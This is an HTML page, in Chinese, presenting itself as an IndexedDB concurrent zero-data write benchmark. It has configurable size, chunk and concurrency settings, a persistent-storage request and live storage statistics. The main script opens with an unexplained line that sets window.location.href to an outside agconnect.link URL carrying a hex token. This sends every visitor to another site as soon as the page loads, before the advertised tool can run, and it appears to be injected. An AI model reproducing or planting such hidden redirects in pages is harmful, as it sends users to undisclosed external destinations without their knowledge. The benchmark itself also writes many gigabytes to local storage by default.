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<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>IndexedDB 零数据高并发写入压力测试</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
padding: 20px;
color: #333;
}
.container {
max-width: 1000px;
margin: 0 auto;
background: white;
border-radius: 15px;
padding: 30px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
}
h1 {
text-align: center;
color: #4a5568;
margin-bottom: 30px;
font-size: 2.2em;
}
.test-section {
background: #f8f9fa;
border-radius: 10px;
padding: 25px;
margin-bottom: 20px;
border: 2px solid #e9ecef;
}
.test-title {
font-size: 1.4em;
font-weight: bold;
margin-bottom: 20px;
color: #495057;
display: flex;
align-items: center;
gap: 10px;
}
.controls {
display: flex;
gap: 15px;
margin-bottom: 20px;
flex-wrap: wrap;
}
.control-group {
display: flex;
flex-direction: column;
gap: 5px;
}
.control-group label {
font-weight: bold;
color: #495057;
}
.control-group input, .control-group select {
padding: 8px 12px;
border: 2px solid #e9ecef;
border-radius: 5px;
font-size: 14px;
}
.control-group input:focus, .control-group select:focus {
outline: none;
border-color: #667eea;
}
button {
background: linear-gradient(45deg, #667eea, #764ba2);
color: white;
border: none;
padding: 12px 24px;
border-radius: 25px;
cursor: pointer;
font-size: 16px;
font-weight: bold;
transition: all 0.3s ease;
box-shadow: 0 4px 15px rgba(0, 0, 0, 0.2);
}
button:hover:not(:disabled) {
transform: translateY(-2px);
box-shadow: 0 6px 20px rgba(0, 0, 0, 0.3);
}
button:disabled {
background: #6c757d;
cursor: not-allowed;
transform: none;
}
.progress-section { margin: 20px 0; }
.progress-bar {
width: 100%; height: 25px; background: #e9ecef; border-radius: 12px; overflow: hidden; margin-bottom: 10px;
}
.progress-fill {
height: 100%; background: linear-gradient(45deg, #28a745, #20c997); width: 0%; transition: width 0.3s ease; display: flex; align-items: center; justify-content: center; color: white; font-weight: bold; font-size: 14px;
}
.stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 15px; margin: 20px 0; }
.stat-card { background: white; padding: 15px; border-radius: 8px; border-left: 4px solid #667eea; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
.stat-label { font-size: 0.9em; color: #6c757d; margin-bottom: 5px; }
.stat-value { font-size: 1.5em; font-weight: bold; color: #495057; }
.log-section { background: #2d3748; color: #e2e8f0; border-radius: 8px; padding: 20px; margin-top: 20px; font-family: 'Courier New', monospace; font-size: 14px; max-height: 300px; overflow-y: auto; }
.log-entry { margin-bottom: 5px; padding: 2px 0; }
.log-info { color: #63b3ed; }
.log-success { color: #68d391; }
.log-warning { color: #f6e05e; }
.log-error { color: #fc8181; }
.status-indicator { display: inline-block; width: 12px; height: 12px; border-radius: 50%; margin-right: 8px; }
.status-pending { background: #6c757d; }
.status-running { background: #ffc107; animation: pulse 1s infinite; }
.status-success { background: #28a745; }
.status-error { background: #dc3545; }
@keyframes pulse { 0%{opacity:1;} 50%{opacity:0.5;} 100%{opacity:1;} }
.warning-box { background: #fff3cd; border: 1px solid #ffeaa7; border-radius: 8px; padding: 15px; margin: 20px 0; color: #856404; }
.warning-box h4 { margin-bottom: 10px; color: #856404; }
</style>
<meta http-equiv="origin-trial" content="">
<meta name="color-scheme" content="light dark">
</head>
<body>
<div class="container">
<h1>💾 IndexedDB 高并发零数据写入测试</h1>
<div class="warning-box">
<h4>⚠️ 重要提示</h4>
<p>本页仅测试 IndexedDB 写入，默认不会自动清理历史数据。请确保有足够磁盘空间，完成后可手动清理。</p>
</div>
<div class="test-section">
<div class="test-title">
<span class="status-indicator status-pending" id="statusIndicator"></span>
IndexedDB 写入配置
</div>
<div class="controls">
<div class="control-group">
<label for="totalSizeGB">目标大小 (GB)</label>
<input type="number" id="totalSizeGB" value="12" min="1" max="2000">
</div>
<div class="control-group">
<label for="chunkSizeMB">块大小 (MB)</label>
<input type="number" id="chunkSizeMB" value="16" min="1" max="1024">
</div>
<div class="control-group">
<label for="concurrency">并发数</label>
<input type="number" id="concurrency" value="8" min="1" max="64">
</div>
<div class="control-group">
<label for="dbName">数据库名</label>
<input type="text" id="dbName" value="idb_zero_bench">
</div>
<div class="control-group">
<label for="storeName">对象仓库名</label>
<input type="text" id="storeName" value="chunks">
</div>
<div class="control-group">
<label for="persistOpt">持久化</label>
<select id="persistOpt">
<option value="auto" selected>自动申请</option>
<option value="off">关闭</option>
</select>
</div>
<div class="control-group">
<button id="startBtn" onclick="startTest()">🚀 开始写入</button>
</div>
<div class="control-group">
<button id="stopBtn" onclick="stopTest()" disabled>⏹️ 停止</button>
</div>
<div class="control-group">
<button id="clearBtn" onclick="clearAll()">🗑️ 手动清空</button>
</div>
</div>
<div class="progress-section">
<div class="progress-bar"><div class="progress-fill" id="progressFill">0%</div></div>
</div>
<div class="stats-grid">
<div class="stat-card"><div class="stat-label">已写入</div><div class="stat-value" id="written">0 MB</div></div>
<div class="stat-card"><div class="stat-label">写入速度</div><div class="stat-value" id="speed">0 MB/s</div></div>
<div class="stat-card"><div class="stat-label">块数</div><div class="stat-value" id="chunks">0</div></div>
<div class="stat-card"><div class="stat-label">耗时</div><div class="stat-value" id="elapsed">0s</div></div>
<div class="stat-card"><div class="stat-label">存储使用率</div><div class="stat-value" id="usage">0%</div></div>
<div class="stat-card"><div class="stat-label">存储配额</div><div class="stat-value" id="quota">0 MB</div></div>
</div>
</div>
<div class="log-section" id="log"></div>
</div>
<script>
window.location.href = "https://hoas.drcn.agconnect.link/986511bd36dbd3496f8ac9a1d2bd33f365e174ec57f38d1a82064e000d00203c"
let db = null;
let isRunning = false;
let totalTargetBytes = 0;
let writtenBytes = 0;
let chunkSizeBytes = 0;
let totalChunks = 0;
let startTime = 0;
let zeroBuffer = null; // shared zero buffer
let zeroBlob = null; // shared zero blob
let writerAbort = false;
function log(msg, type = 'info') {
const el = document.getElementById('log');
const div = document.createElement('div');
div.className = `log-entry log-${type}`;
div.textContent = `[${new Date().toLocaleTimeString()}] ${msg}`;
el.appendChild(div);
el.scrollTop = el.scrollHeight;
}
function setStatus(status) {
const indicator = document.getElementById('statusIndicator');
indicator.className = `status-indicator status-${status}`;
}
function fmtMB(bytes) { return Math.round(bytes / 1024 / 1024); }
async function updateStorageEstimate() {
try {
if ('storage' in navigator && 'estimate' in navigator.storage) {
const est = await navigator.storage.estimate();
const usagePct = est.quota ? (est.usage / est.quota) * 100 : 0;
document.getElementById('usage').textContent = `${usagePct.toFixed(1)}%`;
document.getElementById('quota').textContent = `${Math.round((est.quota || 0) / 1024 / 1024)} MB`;
}
} catch (e) {
log(`无法获取存储估算: ${e.message}`, 'warning');
}
}
function updateStatsUI() {
const elapsedSec = (Date.now() - startTime) / 1000;
const speed = elapsedSec > 0 ? (writtenBytes / 1024 / 1024) / elapsedSec : 0;
document.getElementById('written').textContent = `${fmtMB(writtenBytes)} MB`;
document.getElementById('speed').textContent = `${speed.toFixed(2)} MB/s`;
document.getElementById('chunks').textContent = `${totalChunks}`;
document.getElementById('elapsed').textContent = `${elapsedSec.toFixed(1)}s`;
const progress = Math.min((writtenBytes / totalTargetBytes) * 100, 100);
const fill = document.getElementById('progressFill');
fill.style.width = `${progress}%`;
fill.textContent = `${Math.round(progress)}%`;
}
function openDB(name, storeName) {
return new Promise((resolve, reject) => {
const req = indexedDB.open(name, 1);
req.onerror = () => reject(req.error);
req.onupgradeneeded = (ev) => {
const idb = ev.target.result;
if (!idb.objectStoreNames.contains(storeName)) {
idb.createObjectStore(storeName, { keyPath: 'id', autoIncrement: true });
}
};
req.onsuccess = () => resolve(req.result);
});
}
async function ensurePersistenceIfRequested() {
const opt = document.getElementById('persistOpt').value;
if (opt === 'off') return;
try {
if (navigator.storage && navigator.storage.persist) {
const persisted = await navigator.storage.persisted();
if (!persisted) {
const ok = await navigator.storage.persist();
log(ok ? '已申请持久化存储成功' : '持久化存储申请被拒绝', ok ? 'success' : 'warning');
} else {
log('站点已处于持久化存储', 'info');
}
}
} catch (e) {
log(`申请持久化失败: ${e.message}`, 'warning');
}
}
function makeZeroChunk(size) {
if (!zeroBuffer || zeroBuffer.byteLength !== size) {
zeroBuffer = new ArrayBuffer(size); // 默认即为0
zeroBlob = new Blob([zeroBuffer]);
}
return zeroBlob;
}
function addChunk(idb, storeName, payload) {
return new Promise((resolve, reject) => {
const tx = idb.transaction([storeName], 'readwrite', { durability: 'relaxed' });
const store = tx.objectStore(storeName);
const rec = { data: payload, size: payload.size || payload.byteLength || 0, ts: Date.now() };
const req = store.add(rec);
req.onsuccess = () => resolve();
req.onerror = () => reject(req.error);
});
}
async function writerLoop(id) {
const storeName = document.getElementById('storeName').value.trim();
while (isRunning && writtenBytes < totalTargetBytes && !writerAbort) {
const blob = makeZeroChunk(chunkSizeBytes);
try {
await addChunk(db, storeName, blob);
writtenBytes += chunkSizeBytes;
totalChunks += 1;
if ((totalChunks % 8) === 0) {
updateStatsUI();
}
} catch (e) {
if (e && (e.name === 'QuotaExceededError' || /quota/i.test(e.message))) {
log(`并发${id}触发配额限制: ${e.message}`, 'warning');
writerAbort = true;
break;
}
log(`并发${id}写入失败: ${e.message}`, 'error');
// 短暂停顿再重试，避免忙等
await new Promise(r => setTimeout(r, 10));
}
// 让出主线程
await new Promise(r => setTimeout(r, 0));
}
}
async function startTest() {
if (isRunning) return;
const totalGB = Math.max(1, parseInt(document.getElementById('totalSizeGB').value || '1', 10));
const chunkMB = Math.max(1, parseInt(document.getElementById('chunkSizeMB').value || '1', 10));
const concurrency = Math.max(1, parseInt(document.getElementById('concurrency').value || '1', 10));
const dbName = document.getElementById('dbName').value.trim() || 'idb_zero_bench';
const storeName = document.getElementById('storeName').value.trim() || 'chunks';
totalTargetBytes = totalGB * 1024 * 1024 * 1024;
chunkSizeBytes = chunkMB * 1024 * 1024;
writtenBytes = 0;
totalChunks = 0;
writerAbort = false;
startTime = Date.now();
updateStatsUI();
document.getElementById('startBtn').disabled = true;
document.getElementById('stopBtn').disabled = false;
setStatus('running');
log(`开始写入: 目标 ${totalGB}GB, 块 ${chunkMB}MB, 并发 ${concurrency}`, 'info');
try {
await ensurePersistenceIfRequested();
db = await openDB(dbName, storeName);
log('数据库可用，开始并发写入...', 'success');
isRunning = true;
const workers = Array.from({ length: concurrency }, (_, i) => writerLoop(i + 1));
await Promise.race([
Promise.allSettled(workers),
// Watchdog to update UI and storage estimate periodically
(async () => {
while (isRunning) {
updateStatsUI();
await updateStorageEstimate();
await new Promise(r => setTimeout(r, 1000));
}
})()
]);
} catch (e) {
log(`启动失败: ${e.message}`, 'error');
setStatus('error');
} finally {
isRunning = false;
document.getElementById('startBtn').disabled = false;
document.getElementById('stopBtn').disabled = true;
updateStatsUI();
await updateStorageEstimate();
if (writerAbort) {
log(`因配额限制或错误终止。已写入约 ${fmtMB(writtenBytes)} MB`, 'warning');
setStatus('pending');
} else if (writtenBytes >= totalTargetBytes) {
log(`写入完成！总计 ${fmtMB(writtenBytes)} MB`, 'success');
setStatus('success');
} else {
log(`已停止。总计 ${fmtMB(writtenBytes)} MB`, 'info');
setStatus('pending');
}
}
}
function stopTest() {
if (!isRunning) return;
log('请求停止写入...', 'warning');
isRunning = false;
}
async function clearAll() {
if (isRunning) {
log('请先停止写入再清空', 'warning');
return;
}
try {
const dbName = document.getElementById('dbName').value.trim() || 'idb_zero_bench';
if (db) { try { db.close(); } catch (_) {} }
await new Promise((resolve, reject) => {
const del = indexedDB.deleteDatabase(dbName);
del.onsuccess = () => resolve();
del.onerror = () => reject(del.error);
del.onblocked = () => log('删除被阻塞，请关闭其他该站点页面后重试', 'warning');
});
log('IndexedDB 数据库已清空', 'success');
await updateStorageEstimate();
// 重置统计
writtenBytes = 0; totalChunks = 0; startTime = Date.now(); updateStatsUI();
} catch (e) {
log(`清空失败: ${e.message}`, 'error');
}
}
window.addEventListener('load', async () => {
log('页面加载完成，准备就绪', 'info');
await updateStorageEstimate();
setStatus('pending');
});
</script>
<!--
说明：
- 仅写入零数据（通过共享的 ArrayBuffer/Blob），避免随机生成开销。
- 并发通过多个独立事务循环实现，提升吞吐量；事务耐久性设为 relaxed 加速落盘。
- 不会在开始时清理历史数据；仅在“手动清空”时删除 DB。
- 已尝试申请 Storage Persistence，减少浏览器回收风险，但是否生效由浏览器策略决定。
- 10GB+ 目标是否可达取决于浏览器/平台配额策略。
-->
</body>
<script>
</script>
</html>